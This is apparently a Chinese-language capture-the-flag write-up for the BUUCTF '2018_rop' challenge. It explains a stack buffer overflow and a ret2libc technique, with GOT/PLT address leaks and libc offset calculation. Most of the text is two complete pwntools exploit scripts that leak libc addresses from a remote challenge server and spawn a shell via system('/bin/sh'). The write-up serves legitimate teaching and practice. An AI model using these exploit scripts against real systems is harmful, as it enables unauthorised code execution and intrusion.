解题分析
按照惯例先checksec 一下,发现开了NX和RELRO
紧接着运行程序,了解运行逻辑,发现先让我们进行输入,然后再打印出"Hello,World"
用32位IDA打开,查看主要函数main和vulnerable_function,在main中除了write打印除"Hello,world"并没有发现别的。
而在vulnerable_function却发现buf只有0x88字节大小,但read却可以往buf中输入0x100字节,使所以存在栈溢出
shift+12后,发现没有可以直接利用的后门函数,则可发现是一个常规的32位libc泄露,首先利用write或read来泄露程序的libc版本,之后知道libc版本后,计算system函数以及binsh参数的地址,最后覆盖返回地址为system(‘/bin/sh’)来取得flag(从libc得到的是偏移地址,自己泄露的是函数的真正地址,所有函数的基址一致)
函数的真正地址 = 基地址 + 偏移地址
base_addr = read_addr - read_offset
sys_addr = system_offset + base_addr
bin_addr = binsh_offset + base_addr
payload分析
elf=ELF("./2018_rop")
调用2018_rop的elf文件,为下面找到main的地址,write的plt地址,write,read的got地址做准备
vul_addr=elf.sym['main']
write_plt=elf.plt['write']
write_got=elf.got['write']
read_got=elf.got['read']
通过elf找到印write函数的plt表和got表的地址,以及main函数的地址
至于为什么要找到write的plt和got表地址,那么就要去了解Linux延迟绑定机制,plt存放的是进入这个函数的地址,而got表中存放的是这个函数的真正地址
payload = 'a'*(0x88+0x4)
payload += p32(write_plt) #调用write函数把got表中的函数真实地址打印出来保存
payload += p32(vul_addr) #返回地址,调用完write返回主要利用函数
payload += p32(1) #设置write的参数,保持可写
payload += p32(write_got) #打印got中地址
payload += p32(4) #打印的字节数
使用LibcSearcher来进行泄露libc,通过泄露的write地址来找到libc版本遗憾的是我的LibcSearcher中的Libc库没有这个题目的Libc所以找不到flag
payload1
#coding=utf-8
from pwn import * #导入pwntools中的pwn包的所有内容
from LibcSearcher import*
context.terminal = ['terminator','-x','sh','-c']
p=remote("node3.buuoj.cn",28424) #链接服务器远程交互,等同于nc、ip端口命令
elf=ELF("./2018_rop")
# libc = elf.libc
vul_addr=elf.sym['main']
write_plt=elf.plt['write']
write_got=elf.got['write']
read_got=elf.got['read']
payload = 'a'*(0x88+0x4)
payload += p32(write_plt) #调用write函数把got表中的函数真实地址打印出来保存
payload += p32(vul_addr) #返回地址,调用完write返回主要利用函数
payload += p32(1) #设置write的参数,保持可写
payload += p32(write_got) #打印got中地址
# payload += p32(read_got)
payload += p32(4) #打印的字节数
p.sendline(payload)
write_addr=u32(p.recv())
log.success('write==>'+hex(write_addr))
libc = LibcSearcher('write', write_addr)
libc_base=write_addr-libc.dump('write')
sys_addr=libc_base+libc.dump('system')
bin_addr=libc_base+libc.dump("str_bin_sh")
payload1 = "a" * 0x88
payload1 += "b"*4
payload1 += p32(sys_addr)+p32(1)+p32(bin_addr)
p.sendline(payload1)
p.interactive()
那么只能通过利用泄露出来的write或read后三位地址用https://libc.blukat.me/来查询libc版本以此来获取函数的偏移量,为了排除多余的libc,我这里泄露了write和read的地址来寻找正确的libc版本,从而得到偏移量
read_offset=0x0e5620
system_offset =0x03cd10
binsh_offset = 0x17b8cf
payload2
#coding=utf-8
from pwn import * #导入pwntools中的pwn包的所有内容
from LibcSearcher import*
context.terminal = ['terminator','-x','sh','-c']
p=remote("node3.buuoj.cn",28424) #链接服务器远程交互,等同于nc、ip端口命令
elf=ELF("./2018_rop")
# libc = elf.libc
vul_addr=elf.sym['main']
write_plt=elf.plt['write']
write_got=elf.got['write']
read_got=elf.got['read']
payload = 'a'*(0x88+0x4)
payload += p32(write_plt) #调用write函数把got表中的函数真实地址打印出来保存
payload += p32(vul_addr) #返回地址,调用完write返回主要利用函数
payload += p32(1) #设置write的参数,保持可写
# payload += p32(write_got) #打印got中地址
payload += p32(read_got)
payload += p32(4) #打印的字节数
p.sendline(payload)
read_addr=u32(p.recv())
log.success('read==>'+hex(read_addr))
read_offset=0x0e5620
system_offset =0x03cd10
binsh_offset = 0x17b8cf
base_addr = read_addr - read_offset
sys_addr = system_offset + base_addr
bin_addr = binsh_offset + base_addr
payload1 = "a" * 0x88
payload1 += "b"*4
payload1 += p32(sys_addr)+p32(1)+p32(bin_addr)
p.sendline(payload1)
p.interactive()
Get!
参考
https://blog.youkuaiyun.com/qq_51032807/article/details/114808339?spm=1001.2014.3001.5501